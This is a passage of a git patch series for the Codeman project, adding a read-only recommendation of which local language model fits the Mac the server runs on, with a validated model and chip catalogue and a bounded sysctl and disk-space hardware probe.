---------- + +/** The `data` of `GET /api/local-model`. Read-only; admin only in multi-user mode. */ +export interface LocalModelStatus { + hardware: HardwareFacts; + recommendation: Recommendation; + /** `LocalModelCatalog.updated`. */ + catalogUpdated: string; +} diff --git a/src/web/public/index.html b/src/web/public/index.html index c55ad232..d7b82775 100644 --- a/src/web/public/index.html +++ b/src/web/public/index.html @@ -4685,6 +4685,7 @@ + diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js new file mode 100644 index 00000000..755527bf --- /dev/null +++ b/src/web/public/local-model-ui.js @@ -0,0 +1,33 @@ +/** + * @fileoverview The "model on this Mac" card of the welcome screen and its row in App Settings. + * + * SKELETON: this file holds no code yet. It will read `GET /api/local-model` (hardware of the + * machine the server runs on, the recommendation, the catalogue date) and show, read-only: + * - the hardware line (chip, memory, free disk); + * - the verdict: the headline and notes the server sent, then the pick with its numbers + * (model, harness, context, memory need against the budget, download size, speed); + * - the other models that fit, each with its fit and speed label; + * - one line saying that setting the model up from Codeman is the next step and is not built + * yet. + * + * Rules: + * - Read-only: no button here downloads, installs or writes anything. + * - Hidden when the server is not on macOS (`recommendation.reason` is `not-macos`), when the + * request is refused (a non-admin in multi-user mode gets a 403) and after the user dismissed + * the card on this device (a localStorage key, never a server setting). + * - Every dynamic string goes in through `textContent`. Model, harness and chip names are + * someone else's text and carry `data-i18n-skip`. + * - Names and labels come from the payload: this file holds no list of models or harnesses and + * never compares a CLI id with a literal. + * - Sizes are printed exactly as sent (`needGb`, `downloadGb`, `budgetGb`, `memGb`, + * `freeDiskGb`: decimal GB as text). Bytes are never divided here. + * - A sentence the server chose arrives as `{ text, vars }` and goes through + * `codemanT(text, vars)`; this file's own strings are literals in its translator call, so the + * i18n test can harvest them. Both kinds need a zh-CN entry in i18n.js. + * + * @mixin Extends CodemanApp.prototype via Object.assign + * @dependency app.js (CodemanApp) + * @dependency api-client.js (_api) + * @dependency i18n.js (codemanT, optional) + * @loadorder 12.59 of 16, after edit-history-ui.js, before entrance-animations.js + */ diff --git a/src/web/routes/index.ts b/src/web/routes/index.ts index 2dde7fa3..31db304e 100644 --- a/src/web/routes/index.ts +++ b/src/web/routes/index.ts @@ -49,5 +49,6 @@ export { type CustomModelSwapDisplacement, } from './custom-model-routes.js'; export { registerCliRegistryRoutes, readCliManagementEnabled, type CliListItem } from './cli-registry-routes.js'; +export { registerLocalModelRoutes } from './local-model-routes.js'; export { registerAgentSessionRoutes } from './agent-session-routes.js'; diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts new file mode 100644 index 00000000..4c4f7563 --- /dev/null +++ b/src/web/routes/local-model-routes.ts @@ -0,0 +1,60 @@ +/** + * @fileoverview `GET /api/local-model`: what this Mac is and which local model fits it. + * + * SKELETON: the route is registered and answers 501 until its handler is written. It will + * answer `{ success: true, data: LocalModelStatus }`, built from the hardware probe, the + * catalogue, the harness facts and the pure `recommend()`: + * `{ hardware, recommendation, catalogUpdated }`. + * + * Rules: + * - Read-only. It downloads nothing, installs nothing, writes no file and reads no setting. + * - Never a 500 for a probe that failed: a failed probe is an answer (the hardware's `source` + * says so and the recommendation is verdict `none`). + * - The payload names hardware of the host, so in multi-user mode it is admin only (403), the + * same bar as `GET /api/doctor`. + * - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and + * does not need a Mac: it passes its own hardware and harness facts. + */ + +import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; +import { + ApiErrorCode, + createErrorResponse, + type ApiResponse, + type HardwareFacts, + type HarnessFact, + type LocalModelCatalog, + type LocalModelStatus, + type Recommendation, +} from '../../types.js'; +import { getLocalModelCatalog } from '../../config/local-model-catalog.js'; +import { readHardware } from '../../local-model/hardware.js'; +import { buildHarnessFacts } from '../../local-model/harness-facts.js'; +import { recommend } from '../../local-model/recommend.js'; + +/** What the route calls. Each member defaults to the real module; a test overrides what it needs. */ +export interface LocalModelRouteDeps { + readHardware: () => Promise; + getCatalog: () => LocalModelCatalog; + buildHarnessFacts: (catalog: LocalModelCatalog) => Promise; + recommend: (hw: HardwareFacts, catalog: LocalModelCatalog, harnessFacts: readonly HarnessFact[]) => Recommendation; +} + +export const defaultLocalModelRouteDeps: LocalModelRouteDeps = { + readHardware: () => readHardware(), + getCatalog: getLocalModelCatalog, + buildHarnessFacts, + recommend, +}; + +export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial = {}): void { + const resolved: LocalModelRouteDeps = { ...defaultLocalModelRouteDeps, ...deps }; + void resolved; + app.get( + '/api/local-model', + async (_req: FastifyRequest, reply: FastifyReply): Promise> => { + reply.code(501); + return createErrorResponse(ApiErrorCode.OPERATION_FAILED, 'GET /api/local-model is not implemented yet'); + } + ); +} diff --git a/src/web/server.ts b/src/web/server.ts index f9202601..67ee93a5 100644 --- a/src/web/server.ts +++ b/src/web/server.ts @@ -264,6 +264,7 @@ import { pruneIdleLlamaSwapLogTails, tryWebviewRefererFallback, registerCliRegistryRoutes, + registerLocalModelRoutes, } from './routes/index.js'; import { isLostWebviewFrameNavigation } from './webview-proxy.js'; import { CronService } from '../cron/cron-service.js'; @@ -1417,6 +1418,7 @@ export class WebServer extends EventEmitter { registerDoctorRoutes(this.app); registerCustomModelRoutes(this.app); registerCliRegistryRoutes(this.app); + registerLocalModelRoutes(this.app); // Cron: build the service from the same context, recompute // due times for any persisted jobs, then expose it to its routes. From 92c20fe572ff8bbc32cd2efa39817fa78518b09c Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 16:27:33 +0100 Subject: [PATCH 02/28] feat(local-model): hardware probe, model catalogue and the pure recommendation The core of the read-only recommendation: what this Mac is, what the catalogue knows, and which model fits. Nothing is downloaded, installed or written. - hardware.ts: one bounded async spawn of /usr/sbin/sysctl with seven keys, without -n, parsed as "key: value" lines by the pure parseSysctl(). Free disk of the data dir through statfs behind the bounded path probe. Fallbacks from node:os, a 60 s cache, never throws, never system_profiler. A wired limit of 0 means "not set". - local-model-catalog.ts: seven models, three harness rows (pi gated) and the chips table as a compiled constant, validated by a Zod schema on first use. No override file. Model ids are name:tag in lowercase without a slash; every model carries paramsB and an (empty) tested list. Chip names match on the end of the chip string, so 'M4' is not the chip of 'Apple M4 Pro'. - recommend.ts: device budget (the wired limit when above 0, else 2/3 of memory below 36 GB and 3/4 from 36 GB, less the reserve), need = weights + KV cache + 1 GiB + prompt cache, fit good up to 0.85 and tight up to 0.98, speed ok, unknown or slow (a chip in no chips row is unknown), and the ranking. Verdicts ok, limited (best model under 12 billion parameters) and none with its reason. "Recommended" only for a pick with a tested entry for this Mac, which no row has today. - types/local-model.ts: comments brought in line with the code (chip matching, budgetShare rounding, a budget of 0 on an Intel Mac). - cli-registry-no-id-branching.test.ts: the guard also catches a comparison of a `cli` field with a CLI id (plus one stray blank line Prettier refused). Tests: test/local-model-format.test.ts, test/local-model-hardware.test.ts (the captured output of two real Macs), test/local-model-catalog.test.ts, test/local-model-recommend.test.ts. Co-Authored-By: Claude Fable 5.1 --- src/config/local-model-catalog.ts | 305 ++++- src/local-model/hardware.ts | 325 +++++- src/local-model/recommend.ts | 332 +++++- src/types/local-model.ts | 13 +- test/cli-registry-no-id-branching.test.ts | 11 +- test/local-model-catalog.test.ts | 383 ++++++ test/local-model-format.test.ts | 86 ++ test/local-model-hardware.test.ts | 749 ++++++++++++ test/local-model-recommend.test.ts | 1298 +++++++++++++++++++++ 9 files changed, 3423 insertions(+), 79 deletions(-) create mode 100644 test/local-model-catalog.test.ts create mode 100644 test/local-model-format.test.ts create mode 100644 test/local-model-hardware.test.ts create mode 100644 test/local-model-recommend.test.ts diff --git a/src/config/local-model-catalog.ts b/src/config/local-model-catalog.ts index 661ebd8b..a66a111e 100644 --- a/src/config/local-model-catalog.ts +++ b/src/config/local-model-catalog.ts @@ -2,16 +2,7 @@ * @fileoverview The local model catalogue: which models, harnesses and chips the recommendation * knows, as a compiled constant validated by a Zod schema. * - * SKELETON: the schema below is the shape of the contract (it mirrors `LocalModelCatalog` in - * src/types/local-model.ts) and the stock constant is EMPTY. Still to come here: - * - the model rows (ids and byte sizes from the registry manifests, `paramsB`, an empty - * `tested` array each; `flint:40b` stays out), the harness rows and the chips table; - * - the cross-row rules the schema cannot say field by field: unique model ids, unique harness - * `cli`s, `contexts` largest first, `chips` most specific first, `promptCacheTiers` ascending - * and starting at 0; - * - `getLocalModelCatalog()` parsing the constant once, on first use, never at import. - * - * Rules that hold from the start: + * Rules: * - There is NO override file and no runtime download data in this stage: nothing here reads * the data dir, and a data file can never decide what gets recommended. * - A model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`), so it can @@ -20,14 +11,71 @@ * registry id as data: no code may compare it with a literal. Whether that CLI exists and can * take a custom model is checked against the registry at call time, in * src/local-model/harness-facts.ts, never here. + * - The schema checks more than fields. Across rows it requires: unique model ids and ranks, + * unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness + * row, `chips` most specific first, and `promptCacheTiers` ascending from 0. + * - `getLocalModelCatalog()` parses the constant once, on first use and never at import, and + * throws on a bad row. test/local-model-catalog.test.ts pins that the stock constant parses, + * so a bad row fails the gate and never reaches the route. + * + * Where each figure of the stock rows comes from, and what was checked (2026-11-06): + * + * | Figure | Source | Checked | + * |----------------------|-----------------------------------------------------------|--------------------------------------| + * | `id`, `bytes` | registry manifest of the tag, sum of its layer sizes | yes, to the byte, by the facts review | + * | `license` | the model card (all Apache-2.0) | read by the research, not re-checked | + * | `paramsB` | 27.8 from the model card; the others are the count in the | no. Only the 12 billion line reads | + * | | model's name | it, and no row is near that line | + * | `kvBytesPerToken` | COMPUTED from each model's config: 2 x full-attention | no. Not measured in a running | + * | | layers x KV heads x head size x 2 bytes | runtime. The review called the | + * | | | gpt-oss figure plausible, no more | + * | `contexts`, `rank` | a judgement of the design | no | + * | `speedPer100Gbps` | one published run on an M1 Max (400 GB/s): generation | the run was read. It stands for less | + * | | only, short prompt. The two q8_0 rows are SCALED by file | than a session: no long prompt, no | + * | | size, not measured | thinking tokens | + * | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review | + * | `promptCacheTiers` | a decision of the design, not a measurement | no | + * | harness `minContext` | 65536: the runtime's documentation for both harnesses. | 65536 yes. 32768 no, which is why | + * | | 32768: recalled | that row is gated | + * | `chips` | the bandwidth column of | yes, read at the source for this | + * | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file | + * + * `tested` is empty on every row: nobody has run any of these models with a harness on a Mac + * yet. Until a row has an entry, the recommendation never says "Recommended". */ import { z } from 'zod'; -import type { LocalModelCatalog } from '../types.js'; +import type { ChipEntry, LocalModelCatalog } from '../types.js'; /** A model id: lowercase name, one colon, a tag. No slash, so no registry host or namespace can ride along. */ export const LOCAL_MODEL_ID_PATTERN = /^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/; +/** + * Whether `chip` (a `machdep.cpu.brand_string`, 'Apple M4 Pro') is the chip a `ChipEntry.match` + * ('M4 Pro') names: the string must END with the match, and the match must start at the + * beginning or after a space. Case is ignored. + * + * Stricter than "the match occurs in the string" on purpose. 'M4' is not the chip of + * 'Apple M4 Pro', 'M1' is not the chip of 'Apple M10', and a variant this table has never heard + * of ('Apple M6 Pro') matches no row instead of borrowing the bandwidth of its base chip. + */ +export function chipNameMatches(chip: string, match: string): boolean { + const name = chip.trim().toLowerCase(); + const wanted = match.trim().toLowerCase(); + if (wanted === '' || !name.endsWith(wanted)) return false; + const start = name.length - wanted.length; + return start === 0 || name[start - 1] === ' '; +} + +/** + * The memory bandwidth (GB/s) of `chip`, from the first row that names it. `undefined` when the + * chip string is absent or no row names it: the speed is then UNKNOWN, a bandwidth is never guessed. + */ +export function chipBandwidthGbps(chips: readonly ChipEntry[], chip: string | undefined): number | undefined { + if (!chip) return undefined; + return chips.find((row) => chipNameMatches(chip, row.match))?.gbps; +} + const isoDate = z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'must be an ISO date (YYYY-MM-DD)'); const positiveInt = z.number().int().positive(); @@ -79,7 +127,20 @@ const PromptCacheTierSchema = z }) .strict(); -/** Validates a whole catalogue. Typed against `LocalModelCatalog`, so the two cannot drift apart. */ +/** The index of the first value that already occurred earlier in the list, or -1. */ +function firstRepeat(values: readonly T[]): number { + const seen = new Set(); + for (let i = 0; i < values.length; i++) { + if (seen.has(values[i])) return i; + seen.add(values[i]); + } + return -1; +} + +/** + * Validates a whole catalogue: every field, then the rules that hold across rows (see the file + * header). Typed against `LocalModelCatalog`, so the two cannot drift apart. + */ export const LocalModelCatalogSchema: z.ZodType = z .object({ schema: z.literal(1), @@ -90,33 +151,223 @@ export const LocalModelCatalogSchema: z.ZodType = z harnesses: z.array(LocalHarnessEntrySchema), chips: z.array(ChipEntrySchema), }) - .strict(); + .strict() + .superRefine((catalog, ctx) => { + const issue = (path: (string | number)[], message: string): void => { + ctx.addIssue({ code: 'custom', path, message }); + }; + + // A repeated id would make "the model" ambiguous, a repeated rank would make the order of + // two models depend on where they sit in the array. + const repeatedId = firstRepeat(catalog.models.map((m) => m.id)); + if (repeatedId >= 0) issue(['models', repeatedId, 'id'], 'model ids must be unique'); + const repeatedRank = firstRepeat(catalog.models.map((m) => m.rank)); + if (repeatedRank >= 0) issue(['models', repeatedRank, 'rank'], 'model ranks must be unique'); + + const harnessClis = catalog.harnesses.map((h) => h.cli); + const repeatedCli = firstRepeat(harnessClis); + if (repeatedCli >= 0) issue(['harnesses', repeatedCli, 'cli'], 'a harness may be listed only once'); + const repeatedHarnessRank = firstRepeat(catalog.harnesses.map((h) => h.rank)); + if (repeatedHarnessRank >= 0) issue(['harnesses', repeatedHarnessRank, 'rank'], 'harness ranks must be unique'); + + catalog.models.forEach((model, m) => { + for (let i = 1; i < model.contexts.length; i++) { + if (model.contexts[i] >= model.contexts[i - 1]) { + issue(['models', m, 'contexts', i], 'contexts must be listed largest first, without repeats'); + break; + } + } + // An entry for a harness the catalogue does not list could never match a candidate: a typo. + model.tested.forEach((entry, t) => { + if (!harnessClis.includes(entry.cli)) { + issue(['models', m, 'tested', t, 'cli'], 'a tested entry must name a harness of this catalogue'); + } + }); + }); + + // Most specific first ('M4 Max' before 'M4'): a row whose text sits inside a LATER row's text + // is the less specific of the two, so it is in the wrong place. A repeated match is the same + // mistake. + for (let later = 1; later < catalog.chips.length; later++) { + const laterMatch = catalog.chips[later].match.toLowerCase(); + const shadowing = catalog.chips.slice(0, later).find((row) => laterMatch.includes(row.match.toLowerCase())); + if (shadowing) { + issue( + ['chips', later, 'match'], + `chips must be listed most specific first: '${shadowing.match}' comes before '${catalog.chips[later].match}'` + ); + break; + } + } + + // The tiers are read as "the last one whose minimum is not above this Mac's memory", so they + // must start at 0 (every Mac has a tier) and ascend. + if (catalog.promptCacheTiers[0].minMemGb !== 0) { + issue(['promptCacheTiers', 0, 'minMemGb'], 'the first prompt cache tier must start at 0'); + } + for (let i = 1; i < catalog.promptCacheTiers.length; i++) { + if (catalog.promptCacheTiers[i].minMemGb <= catalog.promptCacheTiers[i - 1].minMemGb) { + issue(['promptCacheTiers', i, 'minMemGb'], 'prompt cache tiers must ascend by minMemGb'); + break; + } + } + }); + +const KIB = 1024; +const MIB = 1024 ** 2; +const GIB = 1024 ** 3; /** - * The catalogue that ships with Codeman. EMPTY for now (no model, harness or chip rows), but - * valid: with it `recommend()` can only answer verdict `none`. - * - * The two constants that are already decided are filled in: macOS 14 is the oldest version the - * runtime supports, and the prompt cache is 512 MiB on a Mac below 32 GB and 2 GiB from 32 GB. + * The catalogue that ships with Codeman. Never read directly outside this file and its test: + * callers use `getLocalModelCatalog()`, which validates it first. */ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { schema: 1, updated: '2026-11-06', + // The oldest macOS the model runtime supports. minMacosMajor: 14, + // Host memory the runtime's prompt cache may take beside the model: 512 MiB on a Mac below + // 32 GB, 2 GiB from 32 GB. Part of the need of every candidate. promptCacheTiers: [ - { minMemGb: 0, bytes: 512 * 1024 ** 2 }, - { minMemGb: 32, bytes: 2 * 1024 ** 3 }, + { minMemGb: 0, bytes: 512 * MIB }, + { minMemGb: 32, bytes: 2 * GIB }, + ], + // Ordered by rank. The higher rank wins among models that fit equally well and are equally + // fast. `flint:40b` is left out on purpose: its plain tag is the slow build on a Mac and it + // has an open bug with tool arguments. + models: [ + { + id: 'qwen3.5:9b', + label: 'Qwen3.5 9B', + license: 'Apache-2.0', + paramsB: 9, + bytes: 6_550_825_373, + kvBytesPerToken: 32 * KIB, + contexts: [65536, 32768], + rank: 1, + // 37.1 tokens per second measured on 400 GB/s. + speedPer100Gbps: 9.3, + tested: [], + }, + { + id: 'qwen3.5:9b-q8_0', + label: 'Qwen3.5 9B (Q8)', + license: 'Apache-2.0', + paramsB: 9, + bytes: 10_449_217_949, + kvBytesPerToken: 32 * KIB, + contexts: [65536, 32768], + rank: 2, + // Not measured: the 9.3 of the row above scaled by file size. + speedPer100Gbps: 5.8, + tested: [], + }, + { + id: 'gpt-oss:20b', + label: 'GPT-OSS 20B', + license: 'Apache-2.0', + paramsB: 20, + bytes: 13_793_441_427, + kvBytesPerToken: 24 * KIB, + contexts: [131072, 65536], + rank: 3, + // No speed figure: its speed is unknown on every chip. + tested: [], + }, + { + id: 'qwen3.6:35b-a3b', + label: 'Qwen3.6 35B-A3B', + license: 'Apache-2.0', + paramsB: 35, + bytes: 22_621_314_161, + kvBytesPerToken: 20 * KIB, + contexts: [131072, 65536], + rank: 4, + // 54.5 tokens per second measured on 400 GB/s (3 billion parameters are active per token). + speedPer100Gbps: 13.6, + tested: [], + }, + { + id: 'qwen3.8:27b', + label: 'Qwen3.8 27B', + license: 'Apache-2.0', + paramsB: 27.8, + bytes: 17_741_871_939, + kvBytesPerToken: 64 * KIB, + contexts: [131072, 65536, 32768], + rank: 5, + // 11.8 tokens per second measured on 400 GB/s. + speedPer100Gbps: 2.95, + tested: [], + }, + { + id: 'qwen3.8:27b-q8_0', + label: 'Qwen3.8 27B (Q8)', + license: 'Apache-2.0', + paramsB: 27.8, + bytes: 29_978_241_837, + kvBytesPerToken: 64 * KIB, + contexts: [262144, 131072], + rank: 6, + // Not measured: the 2.95 of the row above scaled by file size. + speedPer100Gbps: 1.7, + tested: [], + }, + { + id: 'qwen3.5:122b-a10b', + label: 'Qwen3.5 122B-A10B', + license: 'Apache-2.0', + paramsB: 122, + bytes: 81_370_035_877, + kvBytesPerToken: 24 * KIB, + contexts: [131072], + rank: 7, + // No speed figure: its speed is unknown on every chip. + tested: [], + }, + ], + // The higher rank wins when a model can run with more than one harness. + harnesses: [ + { cli: 'opencode', minContext: 65536, rank: 3 }, + // Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes. + { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true }, + // Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified. + { cli: 'pi', minContext: 32768, rank: 1, gated: true }, + ], + // Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source + // table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546, + // M5 Max 460 or 614) the LOWER one stands, so a speed computed from it is a floor. + chips: [ + { match: 'M5 Ultra', gbps: 1228 }, + { match: 'M3 Ultra', gbps: 800 }, + { match: 'M2 Ultra', gbps: 800 }, + { match: 'M1 Ultra', gbps: 800 }, + { match: 'M5 Max', gbps: 460 }, + { match: 'M4 Max', gbps: 410 }, + { match: 'M3 Max', gbps: 300 }, + { match: 'M2 Max', gbps: 400 }, + { match: 'M1 Max', gbps: 400 }, + { match: 'M5 Pro', gbps: 307 }, + { match: 'M4 Pro', gbps: 273 }, + { match: 'M3 Pro', gbps: 150 }, + { match: 'M2 Pro', gbps: 200 }, + { match: 'M1 Pro', gbps: 200 }, + { match: 'M5', gbps: 154 }, + { match: 'M4', gbps: 120 }, + { match: 'M3', gbps: 100 }, + { match: 'M2', gbps: 100 }, + { match: 'M1', gbps: 68 }, ], - models: [], - harnesses: [], - chips: [], }; +let validated: LocalModelCatalog | undefined; + /** - * The catalogue in force. There is no override in this stage, so this is the stock constant; - * callers go through this function anyway, so a later stage can change where it comes from - * without touching them. + * The catalogue in force: the stock constant, validated once on first use. Callers go through + * this function, so a later stage can change where the catalogue comes from without touching + * them. Throws when the constant breaks its own schema, which the catalogue test rules out. */ export function getLocalModelCatalog(): LocalModelCatalog { - return STOCK_LOCAL_MODEL_CATALOG; + validated ??= LocalModelCatalogSchema.parse(STOCK_LOCAL_MODEL_CATALOG); + return validated; } diff --git a/src/local-model/hardware.ts b/src/local-model/hardware.ts index 687d981a..5c49cfb7 100644 --- a/src/local-model/hardware.ts +++ b/src/local-model/hardware.ts @@ -1,8 +1,6 @@ /** * @fileoverview The hardware probe of the local model recommendation: what this Mac is. * - * SKELETON: the exported signatures are final, the bodies are not written yet. This module - * will hold: * - `parseSysctl()`: a pure parser of `key: value` lines. The command runs WITHOUT `-n`, so a * key that is missing on a machine (`sysctl.proc_translated` on Intel) cannot shift the * others, and a line it does not know is ignored. @@ -12,17 +10,30 @@ * * Rules: * - Never throws and never rejects: a failed probe is an answer (`source: 'os-fallback'`), and - * off macOS nothing is spawned (`source: 'not-probed'`). + * off macOS nothing is spawned and no disk is read (`source: 'not-probed'`). * - Never `system_profiler` (tens of milliseconds and a parse of free text), never a second * spawn, never a synchronous exec on the server's event loop. * - A non-zero exit is tolerated once `hw.memsize` parsed (a missing key makes sysctl exit 1). + * Without `hw.memsize` nothing else of that output is trusted: the answer is the fallback. + * - Only a line that ends in a newline counts. A cut-off tail is not a value: half of + * `hw.memsize` would read as a smaller, valid number. * - `iogpu.wired_limit_mb` of 0 means "not set": it is reported as 0 and only a value above 0 * is ever used as a limit. + * - The data dir can sit on a network mount that stopped answering, so the disk read is + * bounded too: the folder is probed with the bounded path probe first, the `statfs` is raced + * against a timeout, and a `statfs` that never came back is not started a second time. * - `memGb`, `memClassGb` and `freeDiskGb` are filled here through src/local-model/format.ts, * the one place a size is formatted. */ +import { execFile } from 'node:child_process'; +import { statfs } from 'node:fs/promises'; +import os from 'node:os'; +import { dirname } from 'node:path'; import type { HardwareFacts } from '../types.js'; +import { getDataDir } from '../config/instance.js'; +import { probePathKind, type PathProbeKind } from '../utils/bounded-path-probe.js'; +import { formatGb, memClassGb } from './format.js'; /** Absolute path, so the server's PATH (minimal under a service manager) cannot change what runs. */ export const SYSCTL_PATH = '/usr/sbin/sysctl'; @@ -44,6 +55,18 @@ export const SYSCTL_TIMEOUT_MS = 2000; /** How long one probe result is reused. */ export const HARDWARE_CACHE_TTL_MS = 60_000; +/** Upper bound of the wait for the free disk figure. */ +export const FREE_DISK_TIMEOUT_MS = 2000; + +/** Seven short lines are well under this. A larger output is not sysctl's. */ +const SYSCTL_MAX_OUTPUT_BYTES = 64 * 1024; + +/** Longest text value kept (a chip name, a model identifier, a version). */ +const MAX_TEXT_VALUE_LENGTH = 100; + +/** How many parent folders are tried when the data dir does not exist yet. */ +const FREE_DISK_MAX_PARENT_STEPS = 6; + /** What `parseSysctl()` read. Every field is absent when its key was missing or its value did not parse. */ export interface SysctlFacts { /** `hw.memsize`. */ @@ -82,25 +105,305 @@ export interface HardwareProbeDeps { now?: () => number; } +/** A whole number without sign, as sysctl prints one. */ +function parseCount(value: string): number | undefined { + if (!/^\d+$/.test(value)) return undefined; + const parsed = Number(value); + return Number.isSafeInteger(parsed) ? parsed : undefined; +} + +/** sysctl prints a flag as 0 or 1. Anything else is not a flag. */ +function parseFlag(value: string): boolean | undefined { + if (value === '1') return true; + if (value === '0') return false; + return undefined; +} + +function parseText(value: string): string | undefined { + return value !== '' && value.length <= MAX_TEXT_VALUE_LENGTH ? value : undefined; +} + /** * Parse the output of `sysctl ` (no `-n`): one `key: value` line per key it knows. - * Pure. Unknown lines, blank lines and error lines are skipped. + * Pure. Unknown lines, blank lines and error lines are skipped, and so is a last line that does + * not end in a newline. The first line of a key wins. */ export function parseSysctl(text: string): SysctlFacts { - void text; - throw new Error('not implemented: parseSysctl'); + const facts: SysctlFacts = {}; + const lines = text.split('\n'); + // What follows the last newline is either empty or a cut-off line. + lines.pop(); + for (const rawLine of lines) { + const line = rawLine.replace(/\r$/, ''); + const colon = line.indexOf(':'); + if (colon <= 0) continue; + const key = line.slice(0, colon).trim(); + const value = line.slice(colon + 1).trim(); + switch (key) { + case 'hw.memsize': { + const bytes = parseCount(value); + if (bytes !== undefined && bytes > 0) facts.memBytes ??= bytes; + break; + } + case 'machdep.cpu.brand_string': + facts.chip ??= parseText(value); + break; + case 'hw.optional.arm64': + facts.arm64 ??= parseFlag(value); + break; + case 'sysctl.proc_translated': + facts.translated ??= parseFlag(value); + break; + case 'iogpu.wired_limit_mb': + facts.wiredLimitMb ??= parseCount(value); + break; + case 'kern.osproductversion': { + const version = /^(\d+)(?:\.\d+)*$/.exec(value); + if (version && value.length <= MAX_TEXT_VALUE_LENGTH && facts.macosVersion === undefined) { + facts.macosVersion = value; + facts.macosMajor = Number(version[1]); + } + break; + } + case 'hw.model': + facts.model ??= parseText(value); + break; + default: + break; + } + } + return facts; } +/** + * The one spawn: `command` with `SYSCTL_KEYS` as its arguments and nothing else (no `-n`). + * Resolves stdout when the program ran, also after a non-zero exit (a key this machine lacks + * makes sysctl exit 1 while the other keys are printed). Resolves `undefined` when it could not + * be started, was killed (the timeout) or printed too much. Never rejects. + * + * The two parameters exist for the test, which runs a script of its own in place of sysctl. + */ +export function spawnSysctl( + command: string = SYSCTL_PATH, + timeoutMs: number = SYSCTL_TIMEOUT_MS +): Promise { + return new Promise((resolve) => { + try { + execFile( + command, + [...SYSCTL_KEYS], + { + timeout: timeoutMs, + maxBuffer: SYSCTL_MAX_OUTPUT_BYTES, + encoding: 'utf8', + windowsHide: true, + // sysctl needs nothing from the server's environment, which can hold a password. + env: { LC_ALL: 'C' }, + }, + (error, stdout) => { + if (!error) return resolve(stdout); + // A numeric code is an exit status: the program ran. A string code (ENOENT, EACCES, + // the buffer limit) or a signal means it did not run to its end. + const ranToEnd = typeof error.code === 'number' && !error.killed && !error.signal; + resolve(ranToEnd ? stdout : undefined); + } + ); + } catch { + resolve(undefined); + } + }); +} + +/** + * Free bytes on the filesystem that holds `path` (`bavail * bsize`: what an unprivileged + * process can use), or `undefined` when the filesystem does not say. Not bounded by itself: see + * `dataDirFreeBytes()`. + */ +export async function freeDiskBytesOf(path: string): Promise { + try { + const stat = await statfs(path); + const free = Number(stat.bavail) * Number(stat.bsize); + return Number.isFinite(free) && free >= 0 ? free : undefined; + } catch { + return undefined; + } +} + +/** The one `statfs` that may be pending. While it is, no second one is started. */ +let pendingStatfs: Promise | undefined; + +/** The IO of `dataDirFreeBytes()`. Each member defaults to the real thing; a test passes its own. */ +export interface FreeDiskDeps { + /** Default `getDataDir()`. */ + dataDir?: () => string; + /** Default the bounded path probe (`probePathKind`). */ + probeKind?: (path: string) => Promise; + /** Default `freeDiskBytesOf`. */ + freeBytesOf?: (path: string) => Promise; + /** Default `FREE_DISK_TIMEOUT_MS`. */ + timeoutMs?: number; +} + +/** + * Free bytes on the data dir's filesystem, bounded. The folder (or, when it does not exist yet, + * its nearest existing parent) is found with the bounded path probe, which never waits on a + * dead mount twice; the `statfs` itself is raced against a timeout. `undefined` when the + * filesystem does not answer in time, or is not known to be a folder. + */ +export async function dataDirFreeBytes(deps: FreeDiskDeps = {}): Promise { + // Concurrent probes share one promise in `readHardware()`, so a `statfs` that is still pending + // here was started by an EARLIER probe and has outlived its timeout: a dead mount. It holds + // one threadpool worker, and that is the most this module may ever hold. + if (pendingStatfs) return undefined; + + const probeKind = deps.probeKind ?? probePathKind; + let folder: string; + try { + folder = (deps.dataDir ?? getDataDir)(); + let kind = await probeKind(folder); + for (let step = 0; kind === 'absent' && step < FREE_DISK_MAX_PARENT_STEPS; step++) { + const parent = dirname(folder); + if (parent === folder) break; + folder = parent; + kind = await probeKind(folder); + } + // 'unknown' is a mount that does not answer (or an unreadable path): do not touch it. + if (kind !== 'directory') return undefined; + } catch { + return undefined; + } + + const started = (deps.freeBytesOf ?? freeDiskBytesOf)(folder).catch(() => undefined); + pendingStatfs = started; + const forget = (): void => { + if (pendingStatfs === started) pendingStatfs = undefined; + }; + started.then(forget, forget); + + let timer: ReturnType | undefined; + try { + return await Promise.race([ + started, + new Promise((resolve) => { + timer = setTimeout(() => resolve(undefined), deps.timeoutMs ?? FREE_DISK_TIMEOUT_MS); + timer.unref?.(); + }), + ]); + } finally { + if (timer) clearTimeout(timer); + } +} + +function defaultCpuModel(): string | undefined { + return os.cpus()[0]?.model; +} + +/** A dependency that must never break the probe: its value, or `undefined` when it threw or rejected. */ +async function attempt(read: () => T | Promise): Promise { + try { + return await read(); + } catch { + return undefined; + } +} + +/** Memory and the three fields derived from it. */ +function memoryFields(memBytes: number | undefined): Pick { + const bytes = memBytes !== undefined && Number.isFinite(memBytes) && memBytes > 0 ? memBytes : 0; + return { memBytes: bytes, memGb: formatGb(bytes), memClassGb: memClassGb(bytes) }; +} + +async function probeHardware(deps: HardwareProbeDeps): Promise { + const platform = deps.platform ?? process.platform; + const arch = deps.arch ?? os.arch(); + const totalMemBytes = deps.totalMemBytes ?? os.totalmem; + const cpuModel = deps.cpuModel ?? defaultCpuModel; + + if (platform !== 'darwin') { + return { platform, arch, ...memoryFields(await attempt(totalMemBytes)), source: 'not-probed' }; + } + + const [stdout, freeDisk] = await Promise.all([ + attempt(deps.runSysctl ?? (() => spawnSysctl())), + attempt(deps.freeDiskBytes ?? (() => dataDirFreeBytes())), + ]); + const disk: Pick = + freeDisk !== undefined && Number.isFinite(freeDisk) && freeDisk >= 0 + ? { 